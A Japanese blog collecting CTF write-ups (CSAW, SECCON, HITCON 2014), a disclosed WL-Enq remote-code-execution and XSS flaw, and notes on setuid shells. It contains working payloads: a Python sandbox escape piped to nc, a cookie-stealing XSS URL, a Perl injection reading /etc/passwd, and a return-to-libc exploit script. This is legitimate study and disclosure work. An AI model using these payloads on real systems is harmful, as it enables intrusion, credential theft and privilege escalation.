CSAW CTF 2014 予選Write-up

CSAW CTF 2014の予選にsuperflipというチーム名で参加した。結果。2240点145位。去年までは簡単な問題が多かったけど、今年は難しい問題は普通に難しかった。以下、解けた問題の解法。問題はアカウントを登録すれば、ここでまだ見られる。


Exploitation

bo (100点)

バイナリファイルとそれが動いているサーバーのIPアドレスが提示される良くある形式。普通はバイナリファイル中にフラグは無いので、バイナリファイルを解析して、その結果をサーバーに投げるけれども、この問題はバイナリファイル中にフラグがそのまま含まれていた。

>strings bo
 :
Welcome to CSAW CTF!
Time to break out IDA Demo and see what's going on inside me.  :]
flag{exploitation_is_easy!}
Unable to set SIGCHLD handler
 :
exploitation_is_easy!
pybabbies (200点)

Pythonの問題。globals()と__builtins__.__dict__が消去された環境で、入力された文字列からosやevalなどの文字列がフィルタリングされたあと、execされる。このページを参考にシェルを取った。

__builtins__.__dict__['len']=lambda p:p.__len__();[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='catch_warnings'][0].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['exe'+'clp']('sh','sh')

標準出力が表示されなかったので、パイプで「| nc 自分のIP ポート」に投げた。

>nc -l 1234
total 72
drwxr-xr-x 4 pybabbies pybabbies  4096 Sep 20 17:35 .
drwxr-xr-x 4 root      root       4096 Sep 14 19:04 ..
lrwxrwxrwx 1 pybabbies pybabbies     9 Sep 20 08:45 .bash_history -> /dev/null
-rwxr-xr-x 1 pybabbies pybabbies   919 Sep 20 05:28 .bash_history.old
-rwxr-xr-x 1 pybabbies pybabbies   220 Sep 14 19:04 .bash_logout
-rwxr-xr-x 1 pybabbies pybabbies  3950 Sep 20 17:34 .bashrc
-rw-r--r-- 1 pybabbies pybabbies 16384 Sep 20 17:35 .bashrc.swp
drwxr-xr-x 2 pybabbies pybabbies  4096 Sep 20 08:38 .cache
-r--r--r-- 1 root      pybabbies    34 Sep 20 05:28 key
-r--r--r-- 1 root      pybabbies    34 Sep 20 05:28 key.txt
-rwxr-xr-x 1 pybabbies pybabbies   675 Sep 14 19:04 .profile
-rwxr-xr-x 1 root      pybabbies   655 Sep 20 05:28 pyshell.py
-rwxr-xr-x 1 pybabbies pybabbies    75 Sep 14 19:36 .selected_editor
drwxr-xr-x 2 pybabbies pybabbies  4096 Sep 20 14:49 .ssh
-rwxr-xr-x 1 pybabbies pybabbies  7117 Sep 20 17:33 .viminfo

>nc -l 1234
flag{definitely_not_intro_python}
definitely_not_intro_python
saturn (400点)

0xAnを送るとある配列Xのn番目の値が読め、0xEnと直後に4バイトの値aを投げて別の配列Yのa番目の値とaが一致すればn番目のフラグが立ち、0x80を送って0-7番目のフラグが立っていれば答えが表示されるというプログラム。配列Xと配列Yが隣接しているので、0xA8を投げると0xE0に対応する値が読める。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("54.85.89.65", 8888))
print s.recv(1000)

for i in range(8):
    s.send(chr(0xa8+i))
    k = s.recv(4)
    print k.encode("hex")
    s.send(chr(0xe0+i)+k)
s.send("\x80")
print s.recv(1000)
greetings_to_pure_digital

Reverse Engineering

eggshells (100点)

ファイルが何個も入ったPythonのプログラム。試しに動かしてみたら、Fork爆弾を喰らってパソコン蛾物故割れた(´Д`; ) アニメの録画中でなくて良かった(´Д`; )
*.pyの中に1個だけ*.pycがあり、http://kchung.co/lol.pyN という文字列が含まれていた。覗いてみると、

import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}
trust_is_risky
csaw2013reversing2.exe (200点)

Windowsプログラム。IsDebuggerPresentが真ならフラグが復号される。ただし最初の1バイトがヌル文字なのでメモリを覗く必要がある。たしかに去年の問題に同じのがあった。

reversing_is_not_that_hard!
weissman (300点)

オリジナルのアーカイブ方式で圧縮されたファイルを復号しろという問題。アーカイブのファイル名がweissman.csawlzなので、まあLZでしょう。HTMLファイルとフラグが書かれたJpegがあって、HTMLファイルならある程度必要な文字列が決まるのでそれを頼りに圧縮方式を探っていく。
0x13が来たら次の9バイトのブロックをそのまま書き出す。それ以外の値のときは常に偶数でその半分が書き出す長さ、次の2バイトがどこからバイト列を持ってくるかという情報。ここで参照できるのは9バイトのブロックの先頭だけらしい。また、何ブロック前という方式ではなく、同じブロックは同じ2バイトで参照される。ブロックのCRCか何かかなと思ったけど、そこは分からなかった。
まあ、こんな方法でJpegファイルに圧縮が効くわけがなく、0x13以外になることがないので手で埋めた。最初に0x13以外が出てくるのが量子化テーブルで、まあ近くの値というとで0x44を。次がhttp://hp.vector.co.jp/authors/VA032610/JPEGFormat/marker/DHT.htm:tittle=ハフマンテーブル。ここは16バイトの値の合計が続くバイト列の長さになる。全部0x00だと辻褄が合った。ここまででビュアーで開けるようになり、あとは適当に0x00にすると、何とか絵が見える。

I know how long it'd take me, and I can prove it

Cryptography

1問も解けなかった(´Д`; )

Forensics

dumpster diving (100点)

Firefoxのメモリダンプ。「flag{」で検索したら出てきた。

cd69b4957f06cd818d7bf3d61980e291
why not sftp? (200点)

FTPでzipファイルをダウンロードしている。サイズが大きくてパケットが分かれているので、Follow TCP Streamで1方向のみにしてファイルに保存。

91e02cd2b8621d0c05197f645668c5c4
Obscurity (200点)

画像が貼られたPDFファイル。どこかに文字列が隠されているのだろうとあたりをつけて、全て選択→コピペ。

security_through_obscurity

Web

hashes (300点)

古いjQueryで、$(location.hash)をしていた。この脆弱性

http://54.86.199.163:7878/#<img src=x onerror="location='http://xxxxxxxxxxxxxxxx/'+document.cookie">

というURLを投稿すると

GET /win=%22flag%7Bthese_browser_bots_are_annoying%7D%22 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like
Gecko) PhantomJS/1.9.7 Safari/534.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://54.86.199.163:7878/
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: xxxxxxxxxxxxxxxx

というアクセスが来る。最初に自分のIPを投稿してもアクセスが無いので、誰かが投稿したURLにアクセスすることはないのかと思ったのだが、http://54.86.199.163:7878/なら良いらしい。

these_browser_bots_are_annoying

Recon

ネトスト問題。1問も解けなかった(´Д`; )

Networking

Big Data (100点)

27MBのpcapファイル。大半がビットトレントの通信のようなので、Protocolでソートして、それ以外の通信を探せば良い。TELNETがあった。パスワードがフラグ。

bigdataisaproblemnotasolution

Trivia

pop pop (10点)

This x86 instruction is an alias for pop eip/rip

ret
geohot pls (10点)

This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges.

livectf
We don't know either (10点)

On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.

14
Twitter will you give me @kchung? (10点)

This is the Twitter handle of the student who runs CSAW CTF.

@kchungは取れなかったのか。(´・ω・) カワイソス

poopsec

SECCON 2014 横浜大会 Write-up(バイナリ後半組)

SECCON 2014 横浜大会に出た。バイナリ予選の後半組で予選を通過したが、翌日のクイズ大会で初戦敗退(´・ω・`)
バイナリ予選は前半組と後半組に分けられ、それぞれ5問の問題が1問ずつ出題され、最初に解いた人から抜けていく方式。1人が前に出てプロジェクタに画面を写す代わりに、問題がn分早く配られるという形式だった。最も短いnを提示した人が前に出るオークション形式。他の人が解いている様子を見るのはなかなか面白かった。こういう形式なので、問題は簡単。以下Write-up。

1問目


テニスゲーム。100点先取でゲーム終了でフラグが表示される。ゲームスピードが遅いので100点は待てない。タイトルからVMを解析する面倒な問題かと思ったけど、そんなことはなかった。デバッガで動かしていると、点数が入ったときにプログラムが落ちる。IsDebuggerPresentで検索すると、下記のようなコードがある。

00AB3A39  |> \FF15 94E0BC00 |CALL DWORD PTR DS:[<&KERNEL32.IsDebugge>; [IsDebuggerPresent
00AB3A3F  |.  85C0          |TEST EAX,EAX
00AB3A41  |.  0F85 A2000000 |JNZ ScriptGa.00AB3AE9
00AB3A47  |.  8B85 A4FEFFFF |MOV EAX,DWORD PTR SS:[EBP-15C]
00AB3A4D  |.  83F8 64       |CMP EAX,64
00AB3A50  |.  7D 25         |JGE SHORT ScriptGa.00AB3A77
00AB3A52  |.  83FF 64       |CMP EDI,64
00AB3A55  |.  7D 20         |JGE SHORT ScriptGa.00AB3A77
00AB3A57  |.  833D 9467F500>|CMP DWORD PTR DS:[F56794],0
00AB3A5E  |.^ 0F85 0CFEFFFF \JNZ ScriptGa.00AB3870

都合の良いことに、点数をチェックしているコードも見える。00AB3A41のJNZをNOPにして、00AB3A4Dと00AB3A52の定数を1にすると、点数が入った瞬間にゲームが終了する。その状態でウィンドウを閉じると、キーが表示される。

PlayGame

2問目

00201000 >/$ 55             PUSH EBP
00201001  |. 8BEC           MOV EBP,ESP
00201003  |. 57             PUSH EDI
00201004  |. 8B7D 08        MOV EDI,DWORD PTR SS:[EBP+8]
00201007  |. 85FF           TEST EDI,EDI
00201009  |. 7E 0D          JLE SHORT 00201018
0020100B  |. 83FF 02        CMP EDI,2
0020100E  |. 7F 08          JG SHORT 00201018
00201010  |. B8 01000000    MOV EAX,1
00201015  |. 5F             POP EDI
00201016  |. 5D             POP EBP
00201017  |. C3             RETN
00201018  |> 8D47 FE        LEA EAX,DWORD PTR DS:[EDI-2]
0020101B  |. 56             PUSH ESI
0020101C  |. 50             PUSH EAX
0020101D  |. E8 DEFFFFFF    CALL 00201000
00201022  |. 4F             DEC EDI
00201023  |. 57             PUSH EDI
00201024  |. 8BF0           MOV ESI,EAX
00201026  |. E8 D5FFFFFF    CALL 00201000
0020102B  |. 83C4 08        ADD ESP,8
0020102E  |. 03C6           ADD EAX,ESI
00201030  |. 5E             POP ESI
00201031  |. 5F             POP EDI
00201032  |. 5D             POP EBP
00201033  \. C3             RETN
00201034     CC             INT3
00201040 >/$ 6A 2E          PUSH 2E
00201042  |. E8 B9FFFFFF    CALL 00201000
00201047  |. 6A 2D          PUSH 2D
00201049  |. 8BC8           MOV ECX,EAX
0020104B  |. E8 B0FFFFFF    CALL 00201000
00201050  |. 03C8           ADD ECX,EAX
00201052  |. 51             PUSH ECX
00201053  |. 68 F4202000    PUSH OFFSET format = "Key: %lu"
00201058  |. FF15 A0202000  CALL DWORD PTR DS:[<&MSVCR100.printf>]
0020105E  |. 83C4 10        ADD ESP,10
00201061  |. 33C0           XOR EAX,EAX
00201063  \. C3             RETN

何が出力される?という問題。Immunity Debuggerで適当なプログラムを開いて、このプログラムを貼り付けて動かせば良い。エントリポイントが先頭ではなく00201040ということと、00201035-0020103Fが抜けているということに注意。

2971215073

3問目

これが解けて決勝に進めた。
暗号化するプログラムと暗号文が与えられて、暗号化前の文を答える問題。プログラムを読むと入力を並び替えるプログラムだった。逆算すれば良い。

A = "5wonKRJB7y pyTLD90ss VNF=2utrXPH4via QIA6xnseSKC8zro:UME-1titWOG\0"

D = [""]*256
T = [
0x3A, 0x32, 0x2A, 0x22, 0x1A, 0x12, 0x0A, 0x02, 0x3C, 0x34, 0x2C, 0x24, 0x1C, 0x14, 0x0C, 0x04,
0x3E, 0x36, 0x2E, 0x26, 0x1E, 0x16, 0x0E, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3B, 0x33, 0x2B, 0x23, 0x1B, 0x13, 0x0B, 0x03,
0x3D, 0x35, 0x2D, 0x25, 0x1D, 0x15, 0x0D, 0x05, 0x3F, 0x37, 0x2F, 0x27, 0x1F, 0x17, 0x0F, 0x07,
]

for i in range(64):
    D[T[i]] = A[i]

print "".join(D)
ABCDEFGHIJKLMNOPQRSTUVWX Key: transposition rstuvwxyz012456789-=

ちなみに、隣の人は暗号文をさらに何度も暗号化して解いていた。なるほど。この操作は置換群だから、有限回の操作で元に戻るし、作問者がそこまで考えていなければ、その回数はそんなに多くなさそう。

transposition

4問目

与えられたプログラムを動かすと答えが出るけど、ものすごく時間がかかるので、なんとかしろ、という問題。プログラムを解析すると処理は以下の通り。

int c = 0;
int n = 1;
while (true)
{
    int t = 0;
    for (int i=1; i<=n; i++)
        if (n%i==0)
            t++;
    if (t==2)
        c++;
    n++;
    if (c>=10000000)
        break;
}
n--;
printf("Key: %d", n);

10000000番目の素数を求めるプログラム。

179424673

5問目

ボーナス問題らしい。前に出た人が解いてしまったので、他の参加者への問題の配付は無し。引数に2014を与えると、

Key: Enjoy_2014

と表示するプログラムだった。

Enjoy_2014

WL-Enqの脆弱性

IPAに報告した「WL-Enq」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。

任意のコード実行

WL-Enqにはリモートから任意のコードを実行可能な脆弱性がある。

WL-Enqは入力されたアンケート結果をrequireで読み込めるように、perlスクリプトとして書き出している。hogeという名前で1行入力の項目を作り、aaa, bbb, cccと回答すると、このデータファイルになる。

@result=(
'1<>hoge<>text<>ccc<1>bbb<1>aaa<>3<><>',
);
@ip_list=(
'',
'xxx.xxx.xxx.xxx',
);
1;

「<>」や「'」を入力すると悪戯できそうだが、以下のようにエスケープされる。

@result=(
'1<>hoge<>text<>ddd&lt;&gt;\'<1>ccc<1>bbb<1>aaa<>4<><>',
);
@ip_list=(
'',
'xxx.xxx.xxx.xxx',
);
1;

ただし、「\」のエスケープが忘れられている。

eee\'); print $HTTP_HEADER_CONTENT_TYPE.`cat /etc/passwd`; (#

と入力すると、

@result=(
'1<>hoge<>text<>\\'); print $HTTP_HEADER_CONTENT_TYPE.`cat /etc/passwd`; (#<1>ddd&lt;&gt;\'<1>ccc<1>bbb<1>aaa<>5<><>',
);
@ip_list=(
'',
'xxx.xxx.xxx.xxx',
);
1;

こうなって、次にアンケート結果を送信したときに、cat /etc/passwdが実行される。$HTTP_HEADER_CONTENT_TYPEはスクリプト内で、

$HTTP_HEADER_CONTENT_TYPE = "Content-type: text/html; charset=Shift_JIS\n\n";

と定義されている。「'」が「\'」になり、「"」は後述するようにブラウザから普通には送れないので、この変数を使った。

XSS

送信確認画面はこんな感じ。

	<td id="title">hoge</td>
	<td id="value">
	aaa&lt;&gt;
	<input type=hidden name="f1" value="aaa&lt;&gt;">
	</td>

「"」のエスケープがされていないので、hiddenの項目でXSSができる。例えば、

" style="x:expression(alert(document.location))

と入力すると、

	<td id="title">hoge</td>
	<td id="value">
	" style="x:expression(alert(document.location))
	<input type=hidden name="f1" value="" style="x:expression(alert(document.location))">
	</td>

となり、古いIEならばスクリプトが動く。

HITCON CTF 2014 Write-up

HITCON CTF 2014にチームfuzzi3で参加した。総勢24人。結果は1位。以下、私が解いた問題。

mid (ACM) 250点

ジャンルがACMで、まさにいわゆる競技プログラングの問題。整数nとn個の整数A0, A1, …, An-1が与えられ、Aの中央値を答える。nは1<=n<1000000を満たす奇数、Aiは符号付き64bit整数。実行時間制限は16秒、メモリ制限は4MB。
選択アルゴリズムをk=n/2として用いれば良い。単純にソートしてO(n log n)、頑張るとO(n)。簡単な問題かと思いきや、メモリの制限が厳しい。Aを全て配列に格納するには8MBのメモリが必要。
まあ、Aが一様ランダムに分布しているのならば、中央値は0付近になるはずで、abs(Ai)<=0x2000000000000000LLとなるAiだけ真面目に記録しておいて、他はこの範囲の下か上かだけ覚えておけば良い。

Executing...
  ...Correct!
All correct! Here's your flag: HITCON{7hiS_1s_1soL4te_8rEaK}
HITCON{7hiS_1s_1soL4te_8rEaK}

終了。かと思いきや、しばらく後になぜか正解していない扱いになってしまった。

2014-08-16 18:47:10 UTC: Flag of mid updated
Since the judge server has some bug, the flag may be capture in wrong way.
We have change the flag. Please resubmit your source code to get the new one.

なるほど。ずるいことをする人もいるものだ。でもCTFの問題って普通はチートして解くものだし、正解扱いで良いのでは?とか思いながら再投稿。

HITCON{7hiSeS_aR1_Eso14tE_raK8r}

これが28時くらいだったので寝ようとしたところで、また正解が無効になる。

2014-08-16 19:02:57 UTC: Memory limit of 'mid' has changed.
The origin limit is too easy (and boring) so it becomes harder.

問題を見てみたらメモリ制限が2MBになっていた。まあ、保存しておく値の範囲を適当に変えれば良いよねと、abs(Ai)<=0x0800000000000000LLにしたら通った。

HITCON{W1_Ar_S0rry_7hiSeS_Ar1_1so14te_rAkB2_aGn}

朝起きたら、またまた正解が無効にされていた。

2014-08-16 19:23:57 UTC: Last update of mid
This is the last time. Sorry for the inconvenience. We will not change judge or test cases anymore.

We promise that this time is the last update
Since the test cases are too weak, we enhanced them and rejudge

@winesap | ytoku: You're right. We want 'mid' be a CTF challange, not ACM problem.

(CTF的に)ずるをしていたのは私のほうだったらしいw
問題にヒントが追加されていた。

You need to STEAL MORE MEMORY, but how? where?

運営としてはメモリの制限を回避してほしいらしい。最初は不正解と出てくるだけだったけど、途中から実行時間が出るようになった。これを使うと情報が得られる。例えば

if (n%2==0)
    while (clock()/CLOCKS_PER_SEC<1)
        ;
else
    while (clock()/CLOCKS_PER_SEC<2)
        ;

とすると、実行時間が1秒か2秒かでnが偶数か奇数かが分かる。これを使って調べると、

  • テストケースは固定ではない
  • 1個目のテストケースは符号付き64bit整数の中でランダム
  • 2個目のテストケースは狭い範囲でランダム、この範囲も毎回変わる

ということが分かった。
保存する値の範囲を動的に変化させるようにしたら通った。結局正攻法では解いていない。今回は正解のままだった。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int comp(const void *a, const void *b)
{
    if (*(long long *)a < *(long long *)b)
        return -1;
    else if (*(long long *)a > *(long long *)b)
        return 1;
    else
        return 0;
}

#define N 100000

int main()
{
    int n, i, j, vn, ln, hn, p, limit;
    static long long v[N];
    long long t;

    scanf("%d", &n);

    long long low  = -0x0100000000000000LL;
    long long high = +0x0100000000000000LL;

    vn = ln = hn = 0;
    
    for (i=0; i<n; i++)
    {
        scanf("%lld", &t);

        if (t<low)
            ln++;
        else if (t>high)
            hn++;
        else
            v[vn++] = t;

        if (vn==N)
        {
            qsort(v, vn, sizeof (long long), comp);
            low = v[vn/4];
            high = v[vn*3/4];

            ln += vn/4;
            hn += vn - vn*3/4 - 1;

            p = 0;
            for (j=vn/4; j<=vn*3/4; j++)
                v[p++] = v[j];

            vn = vn*3/4 - vn/4 + 1;
        }
    }

    if (ln<=n/2 && n/2<ln+vn)
    {
        qsort(v, vn, sizeof (long long), comp);
        printf("%lld\n", v[n/2-ln]);
    }
    else
    {
        if (!(ln<=n/2))
            limit = 14;
        else if (!(n/2<ln+vn))
            limit = 15;
    
        while (clock()/CLOCKS_PER_SEC<limit)
            ;
    }
}
HITCON{S_Ar4t1_Ar_S1_1so10rAkB2_rry_7hiSee_aGn}

hop (Reverse) 350点

入力した文字列が正解かどうかを判定する64bit exeの解析。このデバッガが使いやすかった。文字列長は40文字で、入力文字列と0x00をスタックに積んだあと、

00000000004591C0 | 58                       | pop rax                                 |
00000000004591C1 | 48 69 C0 C2 21 00 00     | imul rax,rax,21C2                       |
00000000004591C8 | 8B 84 02 1C 01 00 00     | mov eax,dword ptr ds:[rdx+rax+11C]      |
00000000004591CF | 48 98                    | cdqe                                    |
00000000004591D1 | 48 01 C2                 | add rdx,rax                             |
00000000004591D4 | FF E2                    | jmp rdx                                 |

このようなコードを実行していく。こころぴょんぴょん。答えに辿り着く経路を探索すれば良い。最短経路ではなくちょうど40回で答えに辿り着かないといけない。

# coding: utf-8

import struct

D = open("hop-62fa7ade9a1fa9254361e69d70e7a7e3.exe", "rb").read()
def read(p):
    return struct.unpack("<i", D[p:p+4])[0]

offset = 0x44f491-0x4e891
start  = 0x44f491-offset
goal   = 0x4015b9-offset

E = [{start: {}}]   # 順方向
R = [{}]            # 逆方向

for i in range(41):
    E += [{}]
    R += [{}]
    for p in E[i]:
        m = read(p+4)
        a = read(p+11)
        for c in range(0x20, 0x7f) if i<40 else [0]:
            t = p+read(p+m*c+a)
            E[i][p][c] = t
            E[i+1][t] = {}
            R[i+1][t] = (p, c)

p = goal
flag = ""
for i in range(41)[::-1]:
    t = R[i+1][p]
    p = t[0]
    flag += chr(t[1])
print flag[::-1]
C:\documents\ctf\hitcon2014\hop>.\hop-62fa7ade9a1fa9254361e69d70e7a7e3.exe
Key: HITCON{Cap7ur3 Wh1t3 F1ag 0f Us@ 5hr1n3}
Correct!
HITCON{Cap7ur3 Wh1t3 F1ag 0f Us@ 5hr1n3}

SECCON 2014 オンライン予選(日本語) Decrypt it! Write-up 裏面

表はここ

暗号化プログラムと暗号化したファイルが与えられて、ファイルを復号する問題。暗号化のコマンドは

$ ./crypt 1 pub.txt flag.pdf flag.bin

cryptにはバッファーオーバーフローの脆弱性が存在するので、攻撃してみる。

[kusano@www10383uf Decrypt it!]$ ll
total 704
-rwsr-xr-x 1 seccon seccon  13956 Aug  3 17:12 crypt
-rw-rw-r-- 1 kusano kusano 701103 Aug  3 17:12 flag.pdf

この状況で、上記のコマンドでcryptに細工したpub.txtを渡し、uid=secconのシェルを起動することを目指す。

環境

cryptのスタックは実行不可で、SSP(スタックガード)があり、PIEは無効。

[kusano@www10383uf Decrypt it!]$ objdump -p crypt

crypt:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00002277 memsz 0x00002277 flags r-x
    LOAD off    0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**12
         filesz 0x000001c0 memsz 0x000001cc flags rw-
 DYNAMIC off    0x00002ef8 vaddr 0x0804bef8 paddr 0x0804bef8 align 2**2
         filesz 0x000000f8 memsz 0x000000f8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x00001d94 vaddr 0x08049d94 paddr 0x08049d94 align 2**2
         filesz 0x000000c4 memsz 0x000000c4 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**0
         filesz 0x00000120 memsz 0x00000120 flags r--
 :

[kusano@www10383uf Decrypt it!]$ objdump -d crypt
 :
 8049b7d:       8b 94 24 ac 01 00 00    mov    0x1ac(%esp),%edx
 8049b84:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 8049b8b:       0f 84 91 00 00 00       je     8049c22 <uncompress@plt+0xe02>
 8049b91:       e9 87 00 00 00          jmp    8049c1d <uncompress@plt+0xdfd>
 :
 8049c1d:       e8 5e f1 ff ff          call   8048d80 <__stack_chk_fail@plt>
 8049c22:       8b 5d fc                mov    -0x4(%ebp),%ebx
 8049c25:       c9                      leave
 8049c26:       c3                      ret

ASLRは無効にする。後述するようにASLR有効な環境下では攻撃できなかった。

[kusano@www10383uf Decrypt it!]$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
プログラムの解析

crypterのmain関数は次のような処理になっている。stripされているのでクラス名やメソッド名は適当。

//  0x080498b9
int main(int argc, char **argv)
{
    int argc2 = argc;
    int mode = 0;

    if (argc<=4)
        return 1;
    
    mode = atoi(argv[1]);

    int key[16];
    int keynum = 0;
    string str;
    ifstream stream;
    
    stream.open(argv[2]);
    
    while (!stream.eof())
    {
        stream >> str;
        key[keynum++] = atoi(str.c_str());
    }

    f.close();

    Crypter crypter;

    if (mode!=0)
    {
        crypter.loadPublicKey(key);
        string plain(argv[3]);
        crypter.loadPlain(plain);
        crypter.encrypt();
        crypter.save(argv[4], false);
    }
    else
    {
        if (crypter.loadPrivateKey(v)!=0)
            return -1;
        string cipher(argv[3]);
        crypter.loadCipher(cipher);
        crypter.decrypt();
        crypter.save(argv[4], true);
    }

    return 0;
}

スタック配置は次の通り。

esp+  1c argv2
esp+  20 key
esp+  60 crypter
esp+  7c str
esp+  80 plain
esp+  84 cipher
esp+  88 keynum
esp+  8c mode
esp+  94 stream
esp+ 1ac カナリア
esp+ 1b0 and $0xfffffff0,%esp でのズレ
esp+ 1b4 ebx
esp+ 1b8 ebp
esp+ 1bc return address
esp+ 1c0 argc
esp+ 1c4 argv
攻略の方針

Return-to-libcで、

setreuid(secconのuid, -1);
system("/bin/sh");

を実行する。

key以降の変数を任意の値に書き換えることができる。keynumの値を適切に書き換えることで、canaryを飛ばして、return addr以降に値を書き込める。keyとkeynumの間の変数のうち、str以外は初期化前なのでどんな値を書き込んでも構わない。strはバッファを指すポインタとなっているので、適切な値にしないとreturn前にプログラムが落ちてしまう。atoiは余計な文字列があっても無視するので、systemの引数に使用する文字列は数字の後ろに付ければ良い。

情報収集

ユーザーsecconのuid、setreuidのアドレス、systemのアドレス、strの値が必要。

[kusano@www10383uf Decrypt it!]$ id seccon
uid=505(seccon) gid=506(seccon) groups=506(seccon)
[kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin
 :
(gdb) b *0x8049972
Breakpoint 1 at 0x8049972
(gdb) r
Starting program: /home/kusano/seccon/Decrypt it!/crypt 1 pub.txt flag.pdf flag.bin

Breakpoint 1, 0x08049972 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6_5.2.i686 libgcc-4.4.7-4.el6.i686 libstdc++-4.4.7-4.el6.i686 zlib-1.2.3-29.el6.i686
(gdb) p setreuid
$1 = {<text variable, no debug info>} 0x68fc10 <setreuid>
(gdb) p system
$2 = {<text variable, no debug info>} 0x5f0210 <system>
(gdb) x/x $esp+0x7c
0xffffd55c:     0x0804f184

それぞれ、505, 0x68fc10, 0x5f0210, 0x0804f184。
strのポインタは文字列を読み込むときにサイズが足りないと再確保されるので、一度文字列を読み込ませてから取得する。また攻撃する際には最初に長い文字列を読み込ませると、再確保によってアドレスが変わることが無くなる。

攻略

exploit.py

# coding: utf-8

cmd         = "/bin/sh"
uid         = 505
setreuid    = 0x0068fc10
system      = 0x005f0210
strbuf      = 0x0804f184

# 0の直後にコマンドの文字列を書き込むと
# 大きな数字を読み込む際に上書きされてしまうので、空ける
pad = 16
print "0" + "_"*(pad-1) + cmd

for _ in range((0x7c-0x20)/4-1):
    print 0
print strbuf
for _ in range((0x88-0x80)/4):
    print 0

# key[keynum]がリターンアドレスを指すようにする
# 直後にkeynum++があるので、-1
print (0x1bc-0x20)/4-1

print setreuid
# pop; pop; ret;
# systemを呼び出す前にsetreuidの引数をクリアする
print 0x080498b6
print uid
print uid

print system
print 0
print strbuf + pad
[kusano@www10383uf Decrypt it!]$ python exploit.py > pub.txt
[kusano@www10383uf Decrypt it!]$ cat pub.txt
0_______________/bin/sh
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
134541700
0
0
102
6880272
134518966
505
505
6226448
0
134541716
[kusano@www10383uf Decrypt it!]$ ./crypt 1 pub.txt flag.pdf flag.bin
sh-4.1$ id
uid=505(seccon) gid=500(kusano) groups=506(seccon),10(wheel),500(kusano)
ASLR

どうせなら、ASLRが有効な環境下で攻略したかったが、なかなか難しい。
Return-oriented Programmingをしようにも、プログラムが短いのでgadgetが足りない。
↑の攻撃コードはスタック位置には依存しておらず、libcの位置とstrのヒープ位置に依存している。libcの位置についてはASLRによるランダム化が比較的小さいので試行回数を増やせばいけそうだが、ヒープ位置が難しい。strが指しているバッファは単に文字列を格納するだけではなく、strが指している位置より前に文字列長やバッファサイズの情報が存在しているので、単に書き込み可能なアドレスで上書きするだけではダメ。

[kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin
 :
(gdb)  b *0x8049972
Breakpoint 1 at 0x8049972
(gdb) r
 :
(gdb) x/x $esp+0x7c
0xffffd55c:     0x0804f184
(gdb) x/32x 0x0804f140
0x804f140:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f150:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f160:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f170:      0x00000000      0x00000029      0x00000017      0x00000017
0x804f180:      0x00000000      0x5f5f5f30      0x5f5f5f5f      0x5f5f5f5f
0x804f190:      0x5f5f5f5f      0x6e69622f      0x0068732f      0x0001ee69
0x804f1a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f1b0:      0x00000000      0x00000000      0x00000000      0x00000000
補足

C++なのに、vectorではなく配列を使ったり、int型の変数に直接読み込まずにstringを介していたり……。コンテストが12時間ではなく2日間だったら、この部分も問題にするつもりで作っていたのかもしれない。

setuidのプログラムからシェルを起動する

結論
#include <stdlib.h>
#include <unistd.h>

int main()
{
    execl("/bin/sh", "/bin/sh", "-p", NULL);
}

もしくは

#include <stdlib.h>
#include <unistd.h>

int main()
{
    setreuid(geteuid(), -1);
    system("/bin/sh");
}
詳細

Linuxでは、

[kusano@hoge suid]$ sudo chown kusano2: a.out
[kusano@hoge suid]$ sudo chmod u+s a.out
[kusano@hoge suid]$ ll
total 32
-rwsrwxr-x 1 kusano2 kusano2 7073 Aug  3 15:22 a.out

とsetuidビットを立てると、ユーザーkusanoがa.outを実行した場合に、a.outはkusano2の権限で動く。ちなみにスクリプトには効かない。
では、a.outの中で/bin/shを呼び出すとkusano2の権限になるかというとならない。

//  test1.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    system("/bin/sh");
}
//  test2.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    execl("/bin/sh", "/bin/sh", NULL);
}
[kusano@hoge suid]$ g++ test1.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
sh-4.1$ id
